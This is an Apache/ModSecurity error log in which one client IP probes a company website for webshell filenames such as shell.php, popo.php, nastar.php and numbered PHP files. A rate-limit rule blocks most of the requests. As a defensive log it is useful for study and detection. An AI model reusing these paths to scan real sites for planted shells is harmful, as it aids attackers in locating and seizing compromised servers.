[Sun Apr 26 01:36:09.579318 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:3082] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aez7ifg-28TY8_YLtUe-6gAAARY"]
[Sun Apr 26 01:36:13.879387 2026] [:error] [pid 59896:tid 59906] [client 158.158.52.225:43467] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awa.php"] [unique_id "aez7jbLLzhtkd-OXUgBWmQAAAEY"]
[Sun Apr 26 01:36:19.100895 2026] [:error] [pid 59985:tid 60000] [client 158.158.52.225:31291] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aez7kwF_zDvEhKvyTH7_2QAAAA0"]
[Sun Apr 26 01:36:20.357504 2026] [:error] [pid 59897:tid 59937] [client 158.158.52.225:36810] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aez7lPBrrkdzpEbmK4fBuAAAAIo"]
[Sun Apr 26 01:36:21.285697 2026] [:error] [pid 59897:tid 59929] [client 158.158.52.225:37683] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aez7lfBrrkdzpEbmK4fBuQAAAII"]
[Sun Apr 26 01:36:23.113894 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:16524] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/popo.php"] [unique_id "aez7l_g-28TY8_YLtUe_GwAAARc"]
[Sun Apr 26 01:36:25.563592 2026] [:error] [pid 59897:tid 59939] [client 158.158.52.225:23641] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aez7mfBrrkdzpEbmK4fBwAAAAIw"]
[Sun Apr 26 01:36:26.959280 2026] [:error] [pid 59897:tid 59927] [client 158.158.52.225:35120] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aez7mvBrrkdzpEbmK4fBxgAAAIA"]
[Sun Apr 26 01:36:29.193282 2026] [:error] [pid 59896:tid 59914] [client 158.158.52.225:39656] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aez7nbLLzhtkd-OXUgBWtgAAAE4"]
[Sun Apr 26 01:36:35.467610 2026] [:error] [pid 59896:tid 59914] [client 158.158.52.225:3937] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aez7o7LLzhtkd-OXUgBWxQAAAE4"]
[Sun Apr 26 01:36:37.013116 2026] [:error] [pid 3212:tid 3229] [client 158.158.52.225:39649] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aez7pfg-28TY8_YLtUe_LQAAAQ8"]
[Sun Apr 26 01:36:38.594177 2026] [:error] [pid 59898:tid 59959] [client 158.158.52.225:61424] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aez7ph-4vImxb0kbdzfeOwAAAMU"]
[Sun Apr 26 01:36:40.873170 2026] [:error] [pid 59896:tid 59916] [client 158.158.52.225:9781] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aez7qLLLzhtkd-OXUgBWzgAAAFA"]
[Sun Apr 26 01:36:41.736504 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:34994] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aez7qfg-28TY8_YLtUe_OgAAARQ"]
[Sun Apr 26 01:36:42.856909 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:61418] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aez7qvg-28TY8_YLtUe_PwAAARE"]
[Sun Apr 26 01:36:44.504320 2026] [:error] [pid 3212:tid 3224] [client 158.158.52.225:46654] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aez7rPg-28TY8_YLtUe_RgAAAQo"]
[Sun Apr 26 01:36:45.480111 2026] [:error] [pid 59898:tid 59962] [client 158.158.52.225:35112] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aez7rR-4vImxb0kbdzfeRgAAAMg"]
[Sun Apr 26 01:36:48.317366 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:3164] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aez7sPg-28TY8_YLtUe_TwAAARY"]
[Sun Apr 26 01:36:49.905610 2026] [:error] [pid 3212:tid 3235] [client 158.158.52.225:64312] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7sfg-28TY8_YLtUe_VQAAARU"]
[Sun Apr 26 01:36:50.897587 2026] [:error] [pid 59896:tid 59915] [client 158.158.52.225:64295] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7srLLzhtkd-OXUgBW3AAAAE8"]
[Sun Apr 26 01:36:52.936125 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:22857] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7tPg-28TY8_YLtUe_ZgAAARI"]
[Sun Apr 26 01:36:54.313377 2026] [:error] [pid 3212:tid 3216] [client 158.158.52.225:54505] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aez7tvg-28TY8_YLtUe_cQAAAQI"]
[Sun Apr 26 01:36:55.975322 2026] [:error] [pid 59896:tid 59918] [client 158.158.52.225:3662] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aez7t7LLzhtkd-OXUgBW4QAAAFI"]
[Sun Apr 26 01:36:57.481512 2026] [:error] [pid 3212:tid 3224] [client 158.158.52.225:57783] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aez7ufg-28TY8_YLtUe_eQAAAQo"]
[Sun Apr 26 01:37:00.010777 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:43927] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aez7vPg-28TY8_YLtUe_hQAAARY"]
[Sun Apr 26 01:37:03.086054 2026] [:error] [pid 3212:tid 3235] [client 158.158.52.225:54510] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aez7v_g-28TY8_YLtUe_mQAAARU"]
[Sun Apr 26 01:37:05.458998 2026] [:error] [pid 59985:tid 60002] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sun Apr 26 01:37:05.730233 2026] [:error] [pid 59985:tid 60005] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/seo.php
[Sun Apr 26 01:37:05.972185 2026] [:error] [pid 59985:tid 59991] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Sun Apr 26 01:37:06.252308 2026] [:error] [pid 59985:tid 59989] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sun Apr 26 01:37:06.541509 2026] [:error] [pid 59985:tid 60006] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sun Apr 26 01:37:06.798813 2026] [:error] [pid 59985:tid 60000] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Sun Apr 26 01:37:07.046344 2026] [:error] [pid 59985:tid 60009] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/3.php
[Sun Apr 26 01:37:07.355443 2026] [:error] [pid 59985:tid 60004] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/4.php
[Sun Apr 26 01:37:07.697608 2026] [:error] [pid 59985:tid 59992] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/5.php
[Sun Apr 26 01:37:08.138971 2026] [:error] [pid 59985:tid 59987] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Sun Apr 26 01:37:08.443537 2026] [:error] [pid 59985:tid 59993] [client 158.158.52.225:37025] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php
[Sun Apr 26 01:37:08.704433 2026] [:error] [pid 59985:tid 60002] [client 158.158.52.225:37025] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aez7xAF_zDvEhKvyTH4AKQAAAA8"]
[Sun Apr 26 01:37:10.399759 2026] [:error] [pid 59896:tid 59919] [client 158.158.52.225:52598] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aez7xrLLzhtkd-OXUgBXLAAAAFM"]
[Sun Apr 26 01:37:11.872041 2026] [:error] [pid 59896:tid 59918] [client 158.158.52.225:28003] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aez7x7LLzhtkd-OXUgBXNAAAAFI"]
[Sun Apr 26 01:37:12.950319 2026] [:error] [pid 59985:tid 59992] [client 158.158.52.225:43930] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aez7yAF_zDvEhKvyTH4AMAAAAAU"]
[Sun Apr 26 01:37:14.875105 2026] [:error] [pid 59896:tid 59923] [client 158.158.52.225:60059] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aez7yrLLzhtkd-OXUgBXOAAAAFc"]
[Sun Apr 26 01:37:16.643788 2026] [:error] [pid 59897:tid 59927] [client 158.158.52.225:27993] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aez7zPBrrkdzpEbmK4fB8gAAAIA"]
[Sun Apr 26 01:37:18.559565 2026] [:error] [pid 59896:tid 59901] [client 158.158.52.225:35824] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aez7zrLLzhtkd-OXUgBXQgAAAEE"]
[Sun Apr 26 01:37:20.515000 2026] [:error] [pid 59896:tid 59909] [client 158.158.52.225:33256] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aez70LLLzhtkd-OXUgBXTAAAAEk"]
[Sun Apr 26 01:37:21.212560 2026] [:error] [pid 59985:tid 60010] [client 158.158.52.225:34524] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aez70QF_zDvEhKvyTH4APQAAABc"]
[Sun Apr 26 01:37:22.236681 2026] [:error] [pid 59898:tid 59965] [client 158.158.52.225:52589] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aez70h-4vImxb0kbdzfefwAAAMs"]
[Sun Apr 26 01:37:23.643988 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:49746] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aez70_g-28TY8_YLtUe_zQAAARc"]
[Sun Apr 26 01:37:25.087462 2026] [:error] [pid 3212:tid 3215] [client 158.158.52.225:37746] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aez71fg-28TY8_YLtUe_0wAAAQE"]
[Sun Apr 26 01:37:25.835714 2026] [:error] [pid 3212:tid 3228] [client 158.158.52.225:60036] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aez71fg-28TY8_YLtUe_3gAAAQ4"]
[Sun Apr 26 01:37:26.568200 2026] [:error] [pid 59985:tid 60010] [client 158.158.52.225:27987] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aez71gF_zDvEhKvyTH4ATgAAABc"]
[Sun Apr 26 01:37:27.931504 2026] [:error] [pid 59985:tid 60006] [client 158.158.52.225:34506] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aez71wF_zDvEhKvyTH4AVgAAABM"]
[Sun Apr 26 01:37:28.646064 2026] [:error] [pid 3212:tid 3222] [client 158.158.52.225:28657] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aez72Pg-28TY8_YLtUe_-AAAAQg"]
[Sun Apr 26 01:37:29.751498 2026] [:error] [pid 59896:tid 59901] [client 158.158.52.225:49732] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aez72bLLzhtkd-OXUgBXdwAAAEE"]
[Sun Apr 26 01:37:30.522175 2026] [:error] [pid 59896:tid 59906] [client 158.158.52.225:55933] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aez72rLLzhtkd-OXUgBXewAAAEY"]
[Sun Apr 26 01:37:31.339858 2026] [:error] [pid 59896:tid 59901] [client 158.158.52.225:57835] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aez727LLzhtkd-OXUgBXgQAAAEE"]
[Sun Apr 26 01:37:32.821420 2026] [:error] [pid 59896:tid 59920] [client 158.158.52.225:50947] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aez73LLLzhtkd-OXUgBXiAAAAFQ"]
[Sun Apr 26 01:37:33.736581 2026] [:error] [pid 59896:tid 59921] [client 158.158.52.225:30704] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aez73bLLzhtkd-OXUgBXjAAAAFU"]
[Sun Apr 26 01:37:35.081575 2026] [:error] [pid 3212:tid 3219] [client 158.158.52.225:37743] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aez73_g-28TY8_YLtUfAEAAAAQU"]
[Sun Apr 26 01:37:37.316475 2026] [:error] [pid 59896:tid 59905] [client 158.158.52.225:52564] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aez74bLLzhtkd-OXUgBXlAAAAEU"]
[Sun Apr 26 01:37:39.011023 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:52565] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aez74_g-28TY8_YLtUfAGgAAARg"]
[Sun Apr 26 01:37:41.536922 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:59448] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aez75fg-28TY8_YLtUfAJwAAAQQ"]
[Sun Apr 26 01:37:42.749017 2026] [:error] [pid 59896:tid 59905] [client 158.158.52.225:51006] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aez75rLLzhtkd-OXUgBXoAAAAEU"]
